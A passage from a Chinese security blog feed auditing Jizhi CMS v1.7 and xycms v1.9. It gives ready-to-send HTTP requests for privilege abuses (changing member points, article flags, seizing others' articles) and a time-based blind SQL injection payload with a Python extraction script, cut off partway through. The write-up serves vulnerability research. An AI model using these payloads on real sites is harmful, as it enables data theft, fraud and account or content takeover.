class="string">'litpic'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'litpic'</span>,<span class="number">1</span>);</span><br><span class="line">$data[<span class="string">'address'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'address'</span>,<span class="number">1</span>);</span><br><span class="line">$data[<span class="string">'province'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'province'</span>,<span class="number">1</span>);</span><br><span class="line">$data[<span class="string">'city'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'city'</span>,<span class="number">1</span>);</span><br><span class="line">$data[<span class="string">'signature'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'signature'</span>,<span class="number">1</span>);</span><br><span class="line">$data[<span class="string">'birthday'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'birthday'</span>,<span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span>($data[<span class="string">'pass'</span>]!=<span class="string">''</span>){</span><br><span class="line"><span class="keyword">if</span>($data[<span class="string">'pass'</span>]!=$data[<span class="string">'repass'</span>]){</span><br><span class="line">JsonReturn(<span class="keyword">array</span>(<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'两次密码不同!'</span>));</span><br><span class="line">}</span><br><span class="line">$data[<span class="string">'pass'</span>] = md5(md5($data[<span class="string">'pass'</span>]).md5($data[<span class="string">'pass'</span>]));</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">unset</span>($data[<span class="string">'pass'</span>]);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(M(<span class="string">'member'</span>)->update(<span class="keyword">array</span>(<span class="string">'id'</span>=>$data[<span class="string">'id'</span>]),$data)){</span><br><span class="line">JsonReturn(<span class="keyword">array</span>(<span class="string">'code'</span>=><span class="number">0</span>,<span class="string">'msg'</span>=><span class="string">'修改成功!'</span>));</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">JsonReturn(<span class="keyword">array</span>(<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'修改失败,请重新提交!'</span>));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">$this</span>->data = M(<span class="string">'member'</span>)->find([<span class="string">'id'</span>=><span class="keyword">$this</span>->frparam(<span class="string">'id'</span>)]);</span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">$this</span>->data){</span><br><span class="line">Error(<span class="string">'没有找到该用户!'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">$this</span>->display(<span class="string">'member-edit'</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>admin处修改的post表单如下:</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/admin.php/Member/memberedit.html</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: www.**.net</span><br><span class="line"><span class="attribute">Content-Length</span>: 159</span><br><span class="line"><span class="attribute">Accept</span>: */*</span><br><span class="line"><span class="attribute">X-Requested-With</span>: XMLHttpRequest</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded; charset=UTF-8</span><br><span class="line"><span class="attribute">Origin</span>: http://www.**.net</span><br><span class="line"><span class="attribute">Referer</span>: http://www.**.net/admin.php/Member/memberedit/id/3.html</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=cdjbtp3sjhc70tg6pko7jguls5</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"></span><br><span class="line">go=1&id=3&email=333%40qq.com&tel=13011111111&username=13011111111&gid=1&jifen=1234.00&litpic=&file=&birthday=&signature=&province=&city=&address=&pass=&repass=</span><br></pre></td></tr></table></figure><p>也就是说这里表单会传递一个<code>jifen</code>字段提交给后端,然后update写入到数据库中,但是并没有判断是用户传递的还是admin传递的,这就造成了用户在修改资料的时候,直接提交一个<code>jifen</code>字段即可</p><p>所以我们就在用修改用户资料的地方直接传入一个参数<code>jifen=1234</code>就可以修改积分了</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/user/userinfo.html</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: www.**.net</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">Content-Length</span>: 159</span><br><span class="line"><span class="attribute">Origin</span>: http://www.**.net</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Referer</span>: http://www.**.net/user/userinfo.html</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=6jgmku4kuk71mdljmai77cj432</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span>: 1</span><br><span class="line"></span><br><span class="line">litpic=&file=&username=13011111111&tel=13011111111&email=333%40qq.com&sex=0&province=&city=&address=&password=&repassword=&signature=&submit=%E6%8F%90%E4%BA%A4&jifen=1234</span><br></pre></td></tr></table></figure><h2 id="第三处逻辑漏洞——越权修改自己的文章状态"><a href="#第三处逻辑漏洞——越权修改自己的文章状态" class="headerlink" title="第三处逻辑漏洞——越权修改自己的文章状态"></a>第三处逻辑漏洞——越权修改自己的文章状态</h2><p>这里我们先演示一下结果,然后再去分析</p><p>首先我们注册一个账号,然后点发布文章,随便发布一篇文章</p><p><img src="http://images.xianyu123.club/20200529162733.png" alt="image-20200529162727257"></p><p>然后在后台看到记录</p><p><img src="http://images.xianyu123.club/20200529162959.png" alt="image-20200529162959312"></p><p>然后我们在提交文章的地方添加字段<code>ishot=1</code></p><p><img src="http://images.xianyu123.club/20200529174835.png" alt="image-20200529174835245"></p><p>然后就可以看到文章是热属性了,虽然文章还没有被审核</p><p><img src="http://images.xianyu123.club/20200529174937.png" alt="image-20200529174937554"></p><p>跟第一个越权漏洞类似,该漏洞也是因为在用户端没有过滤参数所导致的,这样可以让用户进行恶意传递参数来导致文章的状态被修改</p><p><code>/A/c/ArticleController.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'title'</span>,<span class="number">1</span>)!=<span class="string">''</span>){</span><br><span class="line"> $sql.=<span class="string">" and title like '%"</span>.<span class="keyword">$this</span>->frparam(<span class="string">'title'</span>,<span class="number">1</span>).<span class="string">"%' "</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'shuxing'</span>)){</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'shuxing'</span>)==<span class="number">1</span>){</span><br><span class="line">$sql.=<span class="string">" and istop=1 "</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'shuxing'</span>)==<span class="number">2</span>){</span><br><span class="line">$sql.=<span class="string">" and ishot=1 "</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'shuxing'</span>)==<span class="number">3</span>){</span><br><span class="line">$sql.=<span class="string">" and istuijian=1 "</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">$data = $page->where($sql)->orderby(<span class="string">'istop desc,orders desc,id desc'</span>)->limit(<span class="keyword">$this</span>->frparam(<span class="string">'limit'</span>,<span class="number">0</span>,<span class="number">10</span>))->page(<span class="keyword">$this</span>->frparam(<span class="string">'page'</span>,<span class="number">0</span>,<span class="number">1</span>))->go();</span><br><span class="line">$ajaxdata = [];</span><br><span class="line"><span class="keyword">foreach</span>($data <span class="keyword">as</span> $k=>$v){</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>($v[<span class="string">'ishot'</span>]==<span class="number">1</span>){</span><br><span class="line">$v[<span class="string">'tuijian'</span>] = <span class="string">'热'</span>;</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>($v[<span class="string">'istuijian'</span>]==<span class="number">1</span>){</span><br><span class="line">$v[<span class="string">'tuijian'</span>] = <span class="string">'荐'</span>;</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>($v[<span class="string">'istop'</span>]==<span class="number">1</span>){</span><br><span class="line">$v[<span class="string">'tuijian'</span>] = <span class="string">'顶'</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$v[<span class="string">'tuijian'</span>] = <span class="string">'无'</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br></pre></td></tr></table></figure><p>这里是三种状态,<code>ishot=1</code>代表热,<code>istuijian=1</code>代表荐,<code>istop=1</code>代表顶,如果什么都没有那就是无</p><p>所以只需要在用户发布文章的地方添加字段<code>ishot=1</code>或者<code>istuijian=1</code>或者<code>istop=1</code>即可</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/user/release.html</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: www.**.net</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0</span><br><span class="line"><span class="attribute">Accept</span>: application/json, text/javascript, */*; q=0.01</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded; charset=UTF-8</span><br><span class="line"><span class="attribute">X-Requested-With</span>: XMLHttpRequest</span><br><span class="line"><span class="attribute">Content-Length</span>: 119</span><br><span class="line"><span class="attribute">Origin</span>: http://www.**.net</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Referer</span>: http://www.**.net/user/release.html</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=6jgmku4kuk71mdljmai77cj432</span><br><span class="line"></span><br><span class="line">ajax=1&isshow=&molds=article&tid=2&title=hot&keywords=hoht&litpic=&description=hot&body=%3Cp%3Ehot%3Cbr%2F%3E%3C%2Fp%3E&ishot=1</span><br></pre></td></tr></table></figure><h2 id="第四处逻辑漏洞——越权修改别人已发表的文章为未审核"><a href="#第四处逻辑漏洞——越权修改别人已发表的文章为未审核" class="headerlink" title="第四处逻辑漏洞——越权修改别人已发表的文章为未审核"></a>第四处逻辑漏洞——越权修改别人已发表的文章为未审核</h2><p><code>/Home/c/UserController.php</code>中的<code>release()</code>方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">//文章发布和修改</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">release</span><span class="params">()</span></span>{</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">...... </span><br><span class="line"> $molds = <span class="keyword">$this</span>->frparam(<span class="string">'molds'</span>,<span class="number">1</span>,<span class="string">'article'</span>);</span><br><span class="line"> $tid = <span class="keyword">$this</span>->frparam(<span class="string">'tid'</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'id'</span>)){</span><br><span class="line"> <span class="keyword">$this</span>->data = M($molds)->find([<span class="string">'id'</span>=><span class="keyword">$this</span>->frparam(<span class="string">'id'</span>),<span class="string">'member_id'</span>=><span class="keyword">$this</span>->member[<span class="string">'id'</span>]]);</span><br><span class="line"> $molds = <span class="keyword">$this</span>->data[<span class="string">'molds'</span>];</span><br><span class="line"><span class="keyword">$this</span>->moldsdata = M(<span class="string">'molds'</span>)->find([<span class="string">'biaoshi'</span>=>$molds]);</span><br><span class="line"> $tid = <span class="keyword">$this</span>->data[<span class="string">'tid'</span>];</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">$this</span>->data = <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">$this</span>->molds = $molds;</span><br><span class="line"> <span class="keyword">$this</span>->tid = $tid;</span><br><span class="line"> <span class="keyword">$this</span>->classtypetree = get_classtype_tree();</span><br><span class="line"> <span class="keyword">$this</span>->display(<span class="keyword">$this</span>->template.<span class="string">'/user/article-add'</span>);</span><br><span class="line"></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>上述代码第10行至第21行,<code>if($this->frparam('id'))</code>这里对id并没有判断到底是改用户的文章还是其他用户对文章,导致可以对任意用户对文章进行修改,即把他们的文章变成自己的文章</p><p>下面是演示结果:</p><p>这里首先需要你发表过文章,不需要审核,只需要发布即可。然后进入编辑模式,点提交,抓包</p><p><img src="http://images.xianyu123.club/20200603184408.png" alt="image-20200603184407958"></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/user/release.html</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: www.**.net</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0</span><br><span class="line"><span class="attribute">Accept</span>: application/json, text/javascript, */*; q=0.01</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded; charset=UTF-8</span><br><span class="line"><span class="attribute">X-Requested-With</span>: XMLHttpRequest</span><br><span class="line"><span class="attribute">Content-Length</span>: 117</span><br><span class="line"><span class="attribute">Origin</span>: http://www.**.net</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Referer</span>: http://www.**.net/user/release/id/29/molds/article.html</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=lcfjs54o8288d6q68julppqu60</span><br><span class="line"></span><br><span class="line">ajax=1&id=29&isshow=0&molds=article&tid=2&title=1&keywords=1&litpic=&description=1&body=%3Cp%3E1%3Cbr%2F%3E%3C%2Fp%3E</span><br></pre></td></tr></table></figure><p>修改上面的post参数中的id数值,把id改成任意数字,如果文章存在,就会从那个用户中消失,然后变成了你的文章,比如我们把id改成13</p><p><img src="http://images.xianyu123.club/20200603184511.png" alt="image-20200603184511398"></p><p>原本这篇文章是正常的,且我的投稿中并没有这篇文章</p><p><img src="http://images.xianyu123.club/20200520224526.png" alt="image-20200520224526063"></p><p>然后发包</p><p><img src="http://images.xianyu123.club/20200603184614.png" alt="image-20200603184614304"></p><p>后台刷新即可看到这篇文章的状态</p><p><img src="http://images.xianyu123.club/20200520224625.png" alt="image-20200520224625465"></p><p>然后我们本地就多了一篇文章</p><p><img src="http://images.xianyu123.club/20200520224652.png" alt="image-20200520224652810"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol><li>这个cms比较有意思的一点就是获取ip的函数<code>GetIP()</code>,这里可以用http头<code>CDN-SRC-IP</code>绕过导致可以触发存储型xss和sql注入</li><li>其实这里sql注入可以往数据库插入文件的白名单后缀,比如php,这样就可以直接上传php文件(不知道为什么开发者要把文件后缀写到数据库中)</li><li>这里的xss漏洞是比较泛滥的,而且函数中是有针对xss过滤的函数,不知道为什么开发者没有使用</li><li>这里的逻辑漏洞也是很泛滥的,主要挖掘的思路就是去测试功能点,然后去看功能点的代码,这样基本上就不会有遗漏的漏洞</li></ol>]]></content>
<summary type="html">
<p>本文首发于先知社区——<a href="https://xz.aliyun.com/t/7872" target="_blank" rel="noopener">极致cms v1.7的一次审计</a>,转载时请标明出处</p>
</summary>
<category term="Web Security" scheme="http://0clickjacking0.github.io/categories/Web-Security/"/>
</entry>
<entry>
<title>xycms v1.9的一次审计</title>
<link href="http://0clickjacking0.github.io/2020/06/18/xycms%20v1.9%E7%9A%84%E4%B8%80%E6%AC%A1%E5%AE%A1%E8%AE%A1/"/>
<id>http://0clickjacking0.github.io/2020/06/18/xycms v1.9的一次审计/</id>
<published>2020-06-18T03:01:59.000Z</published>
<updated>2020-08-24T02:23:57.961Z</updated>
<content type="html"><![CDATA[<p>本文首发于先知社区——<a href="https://xz.aliyun.com/t/7557" target="_blank" rel="noopener">xycms v1.9的一次审计</a>,转载时请标明出处</p><a id="more"></a><p>记一次xycms v1.9的审计,文章有写的不好的地方,大佬们轻喷。</p><h1 id="网站目录结构"><a href="#网站目录结构" class="headerlink" title="网站目录结构"></a>网站目录结构</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">├── Conf(连接数据库的一些配置文件)</span><br><span class="line">├── Libs(一些公共函数)</span><br><span class="line">├── Statics(js的一些静态文件)</span><br><span class="line">├── Style(css样式)</span><br><span class="line">├── add_book.php</span><br><span class="line">├── add_do.php</span><br><span class="line">├── code.php</span><br><span class="line">├── foot.php</span><br><span class="line">├── index.php</span><br><span class="line">├── install(网站安装目录)</span><br><span class="line">├── system(网站后台,审计的重点)</span><br><span class="line">└── top.php</span><br></pre></td></tr></table></figure><h1 id="后台SQL注入漏洞"><a href="#后台SQL注入漏洞" class="headerlink" title="后台SQL注入漏洞"></a>后台SQL注入漏洞</h1><h2 id="第一处sql注入"><a href="#第一处sql注入" class="headerlink" title="第一处sql注入"></a>第一处sql注入</h2><p><code>/system/add_book_class.php</code>,关键代码如下,这里没有任何的过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span>($_GET[<span class="string">"act"</span>]==ok){</span><br><span class="line">$siteinfo = <span class="keyword">array</span>(</span><br><span class="line"><span class="string">'title'</span> => $_POST[<span class="string">'title'</span>],</span><br><span class="line"><span class="string">'c_order'</span> => $_POST[<span class="string">'c_order'</span>]</span><br><span class="line">);</span><br><span class="line">$db->insert(<span class="string">"****cms_book_class"</span>, $siteinfo);</span><br><span class="line"><span class="comment">//$db->close();</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<script language='javascript'>"</span>; </span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"alert('恭喜您,信息内容添加成功!');"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">" location='manage_book_class.php';"</span>; </span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"</script>"</span>;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>insert函数在<code>/Libs/Class/mysql.class.php</code>,内容如下,这里也并没有对插入数据库的函数进行过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">insert</span><span class="params">($tableName, $column = array<span class="params">()</span>)</span> </span>{</span><br><span class="line"> $columnName = <span class="string">""</span>;</span><br><span class="line"> $columnValue = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">foreach</span> ($column <span class="keyword">as</span> $key => $value) {</span><br><span class="line"> $columnName .= $key . <span class="string">","</span>;</span><br><span class="line"> $columnValue .= <span class="string">"'"</span> . $value . <span class="string">"',"</span>;</span><br><span class="line"> }</span><br><span class="line"> $columnName = substr($columnName, <span class="number">0</span>, strlen($columnName) - <span class="number">1</span>);</span><br><span class="line"> $columnValue = substr($columnValue, <span class="number">0</span>, strlen($columnValue) - <span class="number">1</span>);</span><br><span class="line"> $sql = <span class="string">"INSERT INTO $tableName($columnName) VALUES($columnValue)"</span>;</span><br><span class="line"> <span class="keyword">$this</span>->query($sql);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>payload:</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/system/add_book_class.php?act=ok</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: localhost:81</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">Content-Length</span>: 93</span><br><span class="line"><span class="attribute">Origin</span>: http://localhost:81</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Referer</span>: http://localhost:81/system/add_book_class.php</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=npvaign44srcvlhjglh9srrqo6</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span>: 1</span><br><span class="line"></span><br><span class="line">title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1</span><br></pre></td></tr></table></figure><p>这里<code>title</code>和<code>c_order</code>参数都存在sql注入</p><p>获取数据库名的exp如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line">url = <span class="string">'http://localhost:81/system/add_book_class.php?act=ok'</span></span><br><span class="line"><span class="comment"># 这里省去了登录的爬虫,因为存在验证码,ocr比较麻烦,所以登录成功后,把cookie替换一下即可</span></span><br><span class="line">cookie = {<span class="string">'Cookie'</span>: <span class="string">'PHPSESSID=npvaign44srcvlhjglh9srrqo6'</span>}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">binary_search_sql</span><span class="params">(start,end,payload,length=<span class="number">2</span>)</span>:</span></span><br><span class="line"> name = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,length+<span class="number">1</span>):</span><br><span class="line"> left = start</span><br><span class="line"> right = end</span><br><span class="line"> <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"> mid = (left + right) // <span class="number">2</span></span><br><span class="line"> <span class="keyword">if</span> mid == left:</span><br><span class="line"> name += chr(mid)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> start_time = time.time()</span><br><span class="line"> full_payload = payload.format(num1=str(i),num2=str(mid))</span><br><span class="line"> requests.post(url=url,data={<span class="string">'title'</span>:full_payload,<span class="string">'c_order'</span>:<span class="string">'1'</span>},headers=cookie)</span><br><span class="line"> print(full_payload)</span><br><span class="line"> <span class="keyword">if</span> time.time() - start_time > <span class="number">2.5</span>:</span><br><span class="line"> right = mid</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> left = mid</span><br><span class="line"> <span class="keyword">return</span> name</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里爆破库名长度</span></span><br><span class="line"><span class="comment"># 5</span></span><br><span class="line">database_length_payload = <span class="string">"',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"</span></span><br><span class="line">database_length = binary_search_sql(<span class="number">48</span>,<span class="number">57</span>,database_length_payload,<span class="number">1</span>)</span><br><span class="line">print(<span class="string">'database_length:'</span>+database_length)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里爆破库名</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line">database_payload = <span class="string">"',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"</span></span><br><span class="line">print(<span class="string">'database_name:'</span>+binary_search_sql(<span class="number">33</span>,<span 